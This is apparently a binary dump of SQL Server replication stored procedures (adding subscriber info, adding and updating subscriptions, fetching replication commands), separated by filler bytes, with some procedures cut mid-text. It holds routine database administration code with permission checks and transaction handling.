!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(		l-0L? v8CREATE PROCEDURE sys.sp_MSadd_subscriber_info
(
    @publisher						sysname,
    @subscriber						sysname,
    @type							tinyint = 0,
    @login							sysname = NULL,
    @password						nvarchar(524) = NULL,
    @commit_batch_size				int = 100,
    @status_batch_size				int = 100,
    @flush_frequency				int = 0,
    @frequency_type					int = 4,
    @frequency_interval				int = 1,
    @frequency_relative_interval	int = 1,
    @frequency_recurrence_factor	int = 0,
    @frequency_subday				int = 4,
    @frequency_subday_interval		int = 5,
    @active_start_time_of_day		int = 0,
    @active_end_time_of_day			int = 235959,
    @active_start_date				int = 0,
    @active_end_date				int = 99991231,
    @retryattempts					int = 0,    
    @retrydelay						int = 0,
    @description					nvarchar (255) = NULL,
    @security_mode					int = 1,					/* 0 standard; 1 integrated */
    @encrypted_password				bit = 0,
    @internal						sysname = N'PRE-YUKON'		-- Can be: 'PRE-YUKON', 'YUKON', 'BOTH'
)
AS
BEGIN
    set nocount on

    declare @retcode int
    declare @oledbprovider nvarchar(256)
    declare @platform_nt binary
    declare @original_type int
    declare @message nvarchar(1000)

    select @platform_nt = 0x1

    -- Security Check
    IF IS_SRVROLEMEMBER ('sysadmin') != 1
    BEGIN
    	-- "You do not have sufficient permission to run this command."
        RAISERROR(14260, 16, -1)
        RETURN 1
    END
    
 	IF (UPPER(@subscriber) = UPPER(@@SERVERNAME) and ( @platform_nt != platform() & @platform_nt ) and @security_mode = 1)
	BEGIN
		RAISERROR(21038, 16, -1)
		RETURN (1)
	END

	-- Check to ensure a login is provided if security mode is SQL Server authentication.
	select @login = rtrim(ltrim(isnull(@login, '')))

	-- Security Mode = 1
	if @security_mode = 1
	begin
		select @login = N'',
				@password = newid()
	end
	-- Security Mode = 0
	else if @login = ''
	begin
		-- '@login cannot be null or empty when @security_mode is set to 0 (SQL Server authentication).'
		raiserror(21694, 16, -1, '@login', '@security_mode')
		return 1
	end

	-- Verify subscriber is not a HREPL publisher.
	-- Only allow if publisher is not HREPL
	IF EXISTS
	(
		SELECT	srvname
		FROM	master.dbo.sysservers ss LEFT OUTER JOIN msdb.dbo.MSdistpublishers msdp
		  ON	ss.srvname = msdp.name
		WHERE	UPPER(ss.srvname) = UPPER(@subscriber) collate database_default
		  AND	ss.pub = 1
		  AND	msdp.publisher_type != N'MSSQLSERVER'
	)
	BEGIN
		RAISERROR (21677, 16, -1, @subscriber)
		RETURN(1)
	END
	
	/* Add the subscriber to dbo.sysservers as a RPC server, if it does not
	** already exist.
	*/
	if not exists (select * from  master.dbo.sysservers where  UPPER(srvname) = UPPER(@subscriber))
	begin
		DECLARE @upper_subscriber sysname

		SELECT @upper_subscriber = UPPER(@subscriber collate database_default)
		
		exec @retcode = dbo.sp_addserver @upper_subscriber
		if @retcode <> 0
			return 1
	end
   
    -- Encrypt the password
    -- We no longer supported passing in encrypted passwords
	IF @encrypted_password = 1
	BEGIN
		-- Parameter '@encrypted_password' is no longer supported.
		RAISERROR(21698, 16, -1, '@encrypted_password')
		RETURN (1)
	END

    if (@type = 3)
    begin
        select @oledbprovider = providername from master.dbo.sysservers where UPPER(srvname) = UPPER(@subscriber)
        if (@oledbprovider = 'sqloledb')
            select @security_mode = 1
        else
            select @security_mode = 0
    end

    -- retrieve the stored type if a subscriber entry exists so 
	-- that we can verify if we need to do any extra processing
	-- basically we never want to add the entry if it already exists
	SELECT @original_type = type
		FROM MSsubscriber_info
		WHERE UPPER(subscriber) = UPPER(@subscriber)
			AND UPPER(publisher) = UPPER(@publisher)
	IF @original_type IS NOT NULL
	BEGIN
		-- if the types match or we are an internal
		-- call then do not fail, just exit w/o err
		IF @original_type = @type
			OR @internal = N'YUKON'
		BEGIN
			RETURN 0
		END

		SELECT @message = @subscriber + ''', type = ''' + CAST(@original_type as nvarchar)
		
		-- The server '@server', type = '1' already exists.
		RAISERROR(15028, 16, -1, @message)
		RETURN 1
	END

   EXEC @retcode = sys.sp_MSreplencrypt @password OUTPUT
   IF @@error <> 0 OR @retcode <> 0
	   return 1

   begin tran
   save TRAN addsub_info
    	
   insert MSsubscriber_info (publisher, subscriber, type, login, password, description, security_mode)
         values (@publisher, @subscriber, @type, @login, @password, @description, @security_mode)
    if @@error <> 0
    goto UNDO

    /*
    ** Schedule information is added for backward compartibility reason, agent_type = 0
    */
   insert MSsubscriber_schedule values(@publisher, @subscriber, 0, @frequency_type,
                                        @frequency_interval,
                                        @frequency_relative_interval,
                                        @frequency_recurrence_factor ,
                                        @frequency_subday ,
                                        @frequency_subday_interval,
                                        @active_start_time_of_day,
                                        @active_end_time_of_day ,
                                        @active_start_date ,
                                        @active_end_date )
    if @@error <> 0
    goto UNDO
    COMMIT TRAN

    Return (0)
UNDO:
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRAN addsub_info
        COMMIT TRAN
    end
    return (1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	q?<12drequency_type is null
                select @frequency_type = @frequencytype

            if @frequency_interval  is null
                select  @frequency_interval = @frequencyinterval

            if @frequency_relative_interval is null
                select  @frequency_relative_interval = @frequencyrelativeinterval

            if @frequency_recurrence_factor is null
                select  @frequency_recurrence_factor = @frequencyrecurrencefactor

            if @frequency_subday is null
                select  @frequency_subday = @frequencysubday

            if @frequency_subday_interval is null
                select  @frequency_subday_interval = @frequencysubdayinterval

            if @active_start_time_of_day is null
                select  @active_start_time_of_day = @activestarttimeofday

            if @active_end_time_of_day is null
                select  @active_end_time_of_day = @activeendtimeofday

            if @active_start_date is null
                select  @active_start_date = @activestartdate

            if @active_end_date is null
                select  @active_end_date = @activeenddate

            execute @retcode = sys.sp_MSadd_distribution_agent
                @publisher_id = @publisher_id,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @subscriber_id = @subscriber_id,
                @subscriber_db = @subscriber_db,
                @subscription_type = @subscription_type,
                @local_job = @local_job,
                @frequency_type = @frequency_type,
                @frequency_interval = @frequency_interval,
                @frequency_subday = @frequency_subday,
                @frequency_subday_interval = @frequency_subday_interval,
                @frequency_relative_interval = @frequency_relative_interval,
                @frequency_recurrence_factor = @frequency_recurrence_factor,
                @active_start_date = @active_start_date,
                @active_end_date = @active_end_date,
                @active_start_time_of_day = @active_start_time_of_day,
                @active_end_time_of_day = @active_end_time_of_day,
                @command = @optional_command_line,
                @agent_id = @agent_id OUTPUT,
                @distribution_jobid = @distribution_jobid OUTPUT,
                @update_mode = @update_mode,
                @dts_package_name = @dts_package_name,
                @dts_package_password = @dts_package_password,
                @dts_package_location = @dts_package_location,
                @name = @distribution_job_name,
                @internal = @internal
            if @@error <> 0 or @retcode <> 0
                goto UNDO
        end
        else
        begin
            execute @retcode = sys.sp_MSadd_distribution_agent
                @publisher_id = @publisher_id,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @subscriber_id = @subscriber_id,
                @subscriber_db = @subscriber_db,
                @subscription_type = @subscription_type,
                @local_job = @local_job,
                @agent_id = @agent_id OUTPUT,
                @distribution_jobid = @distribution_jobid OUTPUT,
                @update_mode = @update_mode
                -- Only push has distributor side package.

            if @@error <> 0 or @retcode <> 0
                goto UNDO
        end

        if @subscriber_id = @virtual
        begin
            execute @retcode = sys.sp_MSadd_distribution_agent
                @publisher_id = @publisher_id,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @subscriber_id = @virtual_anonymous,
                @subscriber_db = @subscriber_db,
                @subscription_type = @subscription_type,
                @local_job = @local_job,
                @agent_id = @anonymous_agent_id OUTPUT,
                @distribution_jobid = @distribution_jobid OUTPUT,
                @update_mode = @update_mode
                -- No need to specify offload parameters for virtual agents
                -- No need to specify package name for virtual agents
        end
    end

    insert into dbo.MSsubscriptions values (@publisher_database_id, @publisher_id, @publisher_db, @publication_id,
        @article_id, @subscriber_id, @subscriber_db, @subscription_type, @sync_type, @status, 
        @subscription_seqno, @snapshot_seqno_flag, @independent_agent, getdate(), 
        @loopback_detection, @agent_id, @update_mode, @subscription_seqno, @subscription_seqno, @nosync_type)
    if @@error <> 0
        goto UNDO

    -- For shiloh, always add virtual anonymous entry for attach logic
    -- If anonymous publication, add "virtual anonymous" subscription
    -- when adding the virtual subscription
    if @subscriber_id = @virtual
    begin
        insert into dbo.MSsubscriptions values (@publisher_database_id, @publisher_id, @publisher_db, @publication_id,
            @article_id, @virtual_anonymous, @subscriber_db, @subscription_type, @sync_type, @status, 
            @subscription_seqno, @snapshot_seqno_flag, @independent_agent, getdate(), 
            @loopback_detection, @anonymous_agent_id, @update_mode, @subscription_seqno, @subscription_seqno, @nosync_type)
        if @@error <> 0
            goto UNDO
    end

    -- Check to see if we need to add a new qreader agent
    if (@update_mode in (2,3,4,5,6,7))
    begin
        --
        -- we can have only one agent for the distribution database
        --
        if not exists (select * from dbo.MSqreader_agents) 
        begin
            -- if at this point the @internal IS 'PRE-YUKON' we know that 
            -- the caller (publisher side) is yukonplus. In this case we  
            -- must let the user know how to create the qreader with a strict 
            -- security policy else we allow the creation without login/pwd
            if @internal != 'PRE-YUKON'
            begin
                -- The 'qreader' agent job must be added via 'sp_addqreader_agent' before continuing. Please see the documentation for 'sp_addqreader_agent'.
                RAISERROR(21798, 16, -1, 'qreader', 'sp_addqreader_agent', 'sp_addqreader_agent')			
                goto UNDO
            end

            execute @retcode = sys.sp_MSadd_qreader_agent
            if (@retcode != 0 or @@error != 0)
                goto UNDO
        end
    end

    commit transaction

    return(0)

UNDO:
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRAN MSadd_subscription
        COMMIT TRAN
    end
    return(1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(		7b,v?iCREATE PROCEDURE sys.sp_MSupdate_subscription
(
    @publisher sysname,
    @publisher_db sysname,
    @subscriber sysname,
    @article_id int,
    @status int,
    @subscription_seqno varbinary(16),
    --post 6x
    @destination_db sysname = '%'
)
as
begin
    set nocount on
    declare @publisher_id smallint  
    declare @subscriber_id smallint
    declare @automatic tinyint
    declare @snapshot_seqno_flag bit
    declare @virtual smallint 
    declare @virtual_anonymous smallint 
    declare @retcode int
    declare @active tinyint
    declare @subscribed tinyint
    declare @agent_id int
    declare @sync_type tinyint
    declare @virtual_agent_id int
    declare @publication_id int
    declare @publisher_database_id int
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    select @automatic = 1
    select @virtual = - 1
    select @virtual_anonymous = - 2
    select @active = 2
    select @subscribed = 1

    -- Check if publisher is a defined as a distribution publisher in the current database
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
    begin
        return(1)
    end

    -- Check if subscriber exists
    if @subscriber is null
    begin
        select @subscriber_id = @virtual
        select @destination_db = '%'
    end
    else
        select @subscriber_id = srvid from master.dbo.sysservers, MSsubscriber_info where 
            UPPER(srvname) = UPPER(@subscriber) and
            UPPER(subscriber) = UPPER(@subscriber) and
            UPPER(publisher) = UPPER(@publisher)
    if @subscriber_id is NULL
    begin
        raiserror (20032, 16, -1, @subscriber, @publisher) 
        return (1)
    end

    select @publisher_database_id = id
      from dbo.MSpublisher_databases
     where publisher_db = @publisher_db
       and publisher_id = @publisher_id 

    begin tran
    save transaction MSupdate_subscription

    if @status = @active
    begin
        -- Activating the subscription
        /*
        **  It will be used by:
        **  1. no_sync subscriptions
        **  2. subscriptions on immediate_sync pub that are activate 
        **  using virtual subscritpions's snapshots.
        **  3. snapshot agents for 6.5 publishers
        */
        -- Get agent_id etc
        select @agent_id = agent_id, @sync_type = sync_type,
            @publication_id = publication_id
            from dbo.MSsubscriptions where
            publisher_id = @publisher_id and
            publisher_database_id = @publisher_database_id and
            article_id = @article_id and
            subscriber_id = @subscriber_id and 
            -- Use equal so 6.x publisher will get nothing (since @destination_db is '%')
            subscriber_db = @destination_db

        -- If immediate_sync publication and sync type is auto_sync
        -- Set the subscription_seqno and snapshot_seqno to be of the virtual subscription 
        -- for real subscription when activating the subscription.
        -- We have to do it for the whole publication to prevent the
        -- distribution agent from picking up partial snapshot transaction
        if  @subscriber IS NOT NULL AND
            @sync_type = @automatic and
            exists (select * from dbo.MSpublications p where
                -- publication_id is unique across dist db
                p.publication_id = @publication_id and
                p.immediate_sync = 1 
                )
        begin
            -- Get virtual agent_id
            select @virtual_agent_id = agent_id from dbo.MSsubscriptions where
                publisher_id = @publisher_id and
                publisher_database_id = @publisher_database_id and
                article_id = @article_id and
                subscriber_id = @virtual

            -- Note it is possible that the virtual subscriptions
            -- were deactivated during clean up.
            /* Update the subscription table for the whole publication */
			-- Note: You need to change sp_MSreset_subscription_seqno when you 
			-- change this query
            update dbo.MSsubscriptions  set 
                snapshot_seqno_flag =  
                    (select subscription_seqno from dbo.MSsubscriptions rs2
                        where
                        rs2.agent_id = @virtual_agent_id and
                        rs2.article_id = rs1.article_id),
                status =    
                    (select status from dbo.MSsubscriptions rs2
                        where
                        rs2.agent_id = @virtual_agent_id and
                        rs2.article_id = rs1.article_id),
                -- Use current date rather than virtual sub date for the
                -- calculation in cleanup 
                subscription_time = getdate(),
                subscription_seqno = 
                    (select subscription_seqno from dbo.MSsubscriptions rs2
                        where
                        rs2.agent_id = @virtual_agent_id and
                        rs2.article_id = rs1.article_id),
                publisher_seqno = 
                    (select publisher_seqno from dbo.MSsubscriptions rs2
                        where
                        rs2.agent_id = @virtual_agent_id and
                        rs2.article_id = rs1.article_id),
				ss_cplt_seqno = 
                    (select ss_cplt_seqno from dbo.MSsubscriptions rs2
                        where
                        rs2.agent_id = @virtual_agent_id and
                        rs2.article_id = rs1.article_id)
                from dbo.MSsubscriptions rs1 where
                    agent_id = @agent_id and
                    sync_type = @automatic and
                    status = @subscribed            
            if @@ERROR <> 0
                goto UNDO
        end
        else
        begin
            update dbo.MSsubscriptions set status = @status, subscription_time = getdate(), 
                publisher_seqno = @subscription_seqno, ss_cplt_seqno = @subscription_seqno,
                -- Have to do this. Refer to anonymous agent "no init sync" option logic above
                -- and sp_MSset_snapshot_seqno.
                snapshot_seqno_flag = 0
              from dbo.MSsubscriptions with (index(iMSsubscriptions)) 
                where
                  publisher_id = @publisher_id and
                  publisher_database_id = @publisher_database_id and
                  article_id = @article_id and
                  ((@subscriber_id <> @virtual and (subscriber_id = @subscriber_id and ((@destination_db = N'%') or (subscriber_db = @destination_db)) )) or
                  -- Activate virtual_anonymous but NOT virtual
                  -- This is for no init option for anonymous agent
                  -- Refer to sp_addsubscription , sp_MSget_repl_cmds_anonymous
                  -- and sp_MSset_snapshot_seqno
                  (@subscriber_id =  @virtual and subscriber_id = @virtual_anonymous))
            if @@error <> 0
                goto UNDO
        
            -- For 6.5 publishers.
            -- Snapshot agents of 6.5 publishers will call sp_changesubstatus which will
            -- RPC this stored procedure to activate the subscription. The RPC calls are
            -- not in one transaction.
            -- We have to do it for the whole publication to prevent the
            -- distribution agent from picking up partial snapshot transaction

            -- Get publication_id 
            -- The publication_id and sync type are set by SNAPSHOT agent 
            -- calling sp_MSset_snapshot_xact_seqno
            -- Don't do it if @subscriber_id is virtual to prevent virtual sub
            -- to be activated.
         !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
!
	A?i   if @destination_db = '%' and @subscriber_id <> @virtual
            begin
                declare @publication_id_6x int
                -- Get the publication_id.
                -- Note that if the sync_type is not automatic, the publication_id
                -- will be null. In this case, we will not do the later
                -- update (we don't need to)
                select top 1 @publication_id_6x = publication_id from dbo.MSsubscriptions 
                    where   publisher_id = @publisher_id and
                            publisher_database_id = @publisher_database_id and
                            subscriber_id = @subscriber_id and 
                            sync_type = @automatic and
                            article_id = @article_id

                if @publication_id_6x <> NULL
                begin
                    update dbo.MSsubscriptions set status = @status, subscription_time = getdate() 
                      from dbo.MSsubscriptions with (index(iMSsubscriptions))
                        where
                          publisher_id = @publisher_id and
                          publisher_database_id = @publisher_database_id and
                          subscriber_id = @subscriber_id and 
                          sync_type = @automatic and
                          publication_id = @publication_id_6x and
                          status <> @status
                    if @@error <> 0
                        goto UNDO
                end
            end
        end
    end -- End activating the subscription
    else
    begin -- Deactivating the subscription or change it from 'subscribed' to 'initiated'
        /*
        **  If @status is @active, it will be used by:
        **  sp_reinitsubscription at publisher to reset the subscription status to 'subscribed'
        **  If @status is @initiated (2), it will be used by snapshot agent with 
		**  sp_MSactivate_auto_sub => sp_changesubstatus.
		*/
        update dbo.MSsubscriptions
           set status = @status,
               publisher_seqno = @subscription_seqno, 
			   ss_cplt_seqno = @subscription_seqno
          from dbo.MSsubscriptions with (index(iMSsubscriptions))
            where
            publisher_id = @publisher_id and
            publisher_database_id = @publisher_database_id and
            article_id = @article_id and
            ((@subscriber_id <> @virtual and (subscriber_id = @subscriber_id and ((@destination_db = N'%') or (subscriber_db = @destination_db)) )) or
            -- Deactivating both virtual and virtual anonymous
            (@subscriber_id =  @virtual and (subscriber_id = @virtual or (subscriber_id = @virtual_anonymous and
			-- When changing to @initiated, do not change activated virtual_anonymous_subscription.
			(@status = @subscribed or snapshot_seqno_flag = 0)))))

        if @@error <> 0
            goto UNDO

        -- Set the reset_partial_snapshot_progress bit if we are reinitializing
        if @status = @subscribed
        begin
            update dbo.MSdistribution_agents
               set reset_partial_snapshot_progress = 1
              from dbo.MSdistribution_agents da
        inner join dbo.MSsubscriptions sub
                on (da.id = sub.agent_id
                or da.virtual_agent_id = sub.agent_id
                or da.anonymous_agent_id = sub.agent_id)
             where
                sub.publisher_id = @publisher_id and
                sub.publisher_database_id = @publisher_database_id and
                sub.article_id = @article_id and
                ((@subscriber_id <> @virtual and (sub.subscriber_id = @subscriber_id and ((@destination_db = N'%') or (sub.subscriber_db = @destination_db)) )) or
                -- Deactivating both virtual and virtual anonymous
                (@subscriber_id =  @virtual and (sub.subscriber_id = @virtual or (sub.subscriber_id = @virtual_anonymous and
			    -- When changing to @initiated, do not change activated virtual_anonymous_subscription.
			    (@status = @subscribed or sub.snapshot_seqno_flag = 0))))) and
                -- Don't update virtual agents
                da.subscriber_id not in (@virtual, @virtual_anonymous)
            if @@error <> 0
                goto UNDO
        end
    end
    
    commit transaction
    return (0)

UNDO:
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRAN MSupdate_subscription
        COMMIT TRAN
    end
    return(1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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no varbinary(16),
@get_count tinyint = 0,  -- 0 = no count, 1 = cmd and tran (legacy), 2 = cmd only
@compatibility_level int = 7000000,
@subdb_version int = 0,
@read_query_size int = -1
)
as
begin
    set nocount on

    declare @active_status tinyint
            ,@initiate_status tinyint
            ,@snapshot_bit int
            ,@postcmd_bit int
            ,@synctran_type int
            ,@read_only tinyint
            ,@retcode int
            ,@publisher_database_id int
            ,@originator_id int
            ,@subscriber sysname
            ,@subscriber_db sysname
            ,@subscriber_id smallint
            ,@publisher sysname
            ,@publisher_db sysname
            ,@publication sysname
            ,@publisher_id smallint
            ,@max_xact_seqno varbinary(16)
            ,@concurrent int
            ,@concurrent_c int
            ,@IsP2PAgent bit
            ,@undelivered_commands int
            ,@undelivered_transactions int

    declare @peer_originator_ids table(id int primary key)

    select @read_only = 0
            ,@active_status = 2
            ,@initiate_status = 3
            ,@snapshot_bit = 0x80000000
            ,@postcmd_bit = 0x40000000
            ,@concurrent = 3
            ,@concurrent_c = 4
            ,@undelivered_commands = 0
            ,@undelivered_transactions = 0
    select @synctran_type = @snapshot_bit | 9

    -- Security Check
    -- @agent_id might be null when it comes from sp_MSget_repl_cmd_anonymous
    if @agent_id is not null
    begin
        exec @retcode = sys.sp_MScheck_pull_access
            @agent_id = @agent_id,
            @agent_type = 0 -- distribution agent
        if @@error <> 0 or @retcode <> 0
            return (1)
    end
    else
    begin
        return (1)
    end
    -- validate @get_count
    if @get_count not in (0,1,2)
        return (1)
    -- Get publisher database id etc.
    SELECT @publisher_database_id = publisher_database_id,
                @publisher_db = publisher_db,
                @publisher_id = publisher_id,
                @subscriber_id = subscriber_id, 
                @subscriber_db = subscriber_db,
                @publication = publication,
                @publisher = srvname
    from MSdistribution_agents 
        inner join master.dbo.sysservers 
            on master.dbo.sysservers.srvid = publisher_id
    where id = @agent_id

    -- Find out if there are any PeerToPeer publications for this agent
    -- If so, we will generate extra "originator" columns in the resultset
    exec sys.sp_MSispeertopeeragent @agent_id = @agent_id, @is_p2p = @IsP2PAgent output

    -- Get the last xact_seqno on the pub db FIRST. It will
    -- be used as the upper bound for differnt queries. We have to do
    -- this to prevent transactions on new or changed subscriptions or
    -- with new orignator_id being skipped eigher by preselected query or
    -- preselected originator_id.
    -- Have to have readpast here to prevent the query be blocked by logreader
    -- (even before the first row to the dist agent).
	--
	-- Note:  DO NOT consider distcmds inserted for a concurrent snapshot
	-- These represent 'forward in time' xacts.  Skipping past these xacts
	-- can cause lost transactions!
	--
	-- Note2: consider adding new MSrepl_commands idx with keys:  
	-- publisher_database_id, command_id, type, xact_seqno
	--
	-- Note3: might be able to use replpostcmd + a LSN mapping token to 
	-- allow SS agent to post sync cmds to log instead of dist db.
	--
	-- Note4 : The max_xact_seqno is calculated based on the @read_query_size parameter - this parameter
	--         limit the number of commands retrieved by this call.  
	if(@read_query_size <= 0)
	begin
		select @max_xact_seqno = max(xact_seqno) from MSrepl_commands with (READPAST)
		  where 
			 publisher_database_id = @publisher_database_id and
			 command_id = 1 and
			 type <> -2147483611 
	end
	else
	begin
		 -- calculate the @max_xact_seqno from the next @read_query_size commands.
		 declare @GetMaxCommand nvarchar(1024)
		 select @GetMaxCommand = N'select top ' + convert(nvarchar(1024),@read_query_size)+
         N' @max_xact_seqno = xact_seqno from MSrepl_commands with (READPAST)
		 where 
			 publisher_database_id = @publisher_database_id and
			 type <> -2147483611 and
			 xact_seqno > @last_xact_seqno
			 order by xact_seqno, command_id asc' 

			 exec sys.sp_executesql 
			         @GetMaxCommand,
					 N'@max_xact_seqno varbinary(16) output ,@last_xact_seqno varbinary(16),@publisher_database_id int',
					 @publisher_database_id = @publisher_database_id,
					 @max_xact_seqno = @max_xact_seqno output,
					 @last_xact_seqno=@last_xact_seqno         

			 if(@max_xact_seqno is null)
				select @max_xact_seqno = @last_xact_seqno
	end


    -- If there's nothing to do, return here to avoid more queries.
    if @max_xact_seqno = @last_xact_seqno
    begin
        if @get_count in (1,2)
        begin
            if (@get_count = 2)
            begin
                select N'undelivered_commands' = @undelivered_commands 
            end
            else -- @get_count = 1
            begin
                select 
                    N'undelivered_commands' = @undelivered_commands, 
                    N'undelivered_transactions' = @undelivered_transactions 
            end
        end
        else -- @get_count = 0
        begin
            select rc.xact_seqno, rc.partial_command, rc.type, 
                rc.command_id, rc.command
                from                
                    MSrepl_commands rc
                where 0 = 1
            select @max_xact_seqno
        end
        return 0
    end

    -- Get subscriber name
    select @subscriber = srvname from master.dbo.sysservers where
        srvid = @subscriber_id
        
    -- Note: if no originator id in the table, it will be 0, so that no loop back
    -- detection will be done!.
    -- Since the logreader will insert into the MSrepl_originators table,
    -- this query has to be later then get max seqno query!!!!!
    select @originator_id = 0

    if @IsP2PAgent = 0
    begin    
        select @originator_id = ISNULL(id, 0) from MSrepl_originators where
            publisher_database_id = @publisher_database_id and
            UPPER(srvname) = UPPER(@subscriber) and
            dbname = @subscriber_db and
            publication_id is NULL and
            dbversion is NULL
    end
    else
    begin
        -- for the peer to peer case we need to make sure to retrieve the  
        -- originator id based on the dbversion. 
        --
        -- keep in mind that if we don't find a row then the values in @peer_originator_ids
        -- will be 0. This is ok since this can only occur if:
        --		1. No commands have been inserted into the distribution db for the  
        --		   subscriber and we are delivering snapshot commands. This is ok 
        --		   since we do not perform loop-back detection for snapshot commands.
        --		or
        --		2. We just restored the subscriber and we are attempting to reapply
        --		   all missing commands. In this case the query to retrieve all commands
        --		   process correctly since the commands originating from the subscriber
        --		   must be applied and we know that no new commands should be generated
        --		   until all past commands have been delivered.
        insert into @peer_originator_ids (id)
	        select distinct id
	        	from MSrepl_originators 
	        		where publisher_database_id = @publisher_database_id 
	        			and UPPER(srvname) = UPPER(@subscriber) 
	        			and dbname = @subscriber_db
	        			and dbversion = @subdb_version
	        			and publication_id is not NULL

		if not exists(sele!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	vlBct *
						from @peer_originator_ids)
		begin
			insert into @peer_originator_ids(id) values(0)
		end
    end

    if @get_count in (1,2)
    begin
        --
        -- Performance impact
        -- Issue the select for counts separately
        -- Do first select for undelivered commands
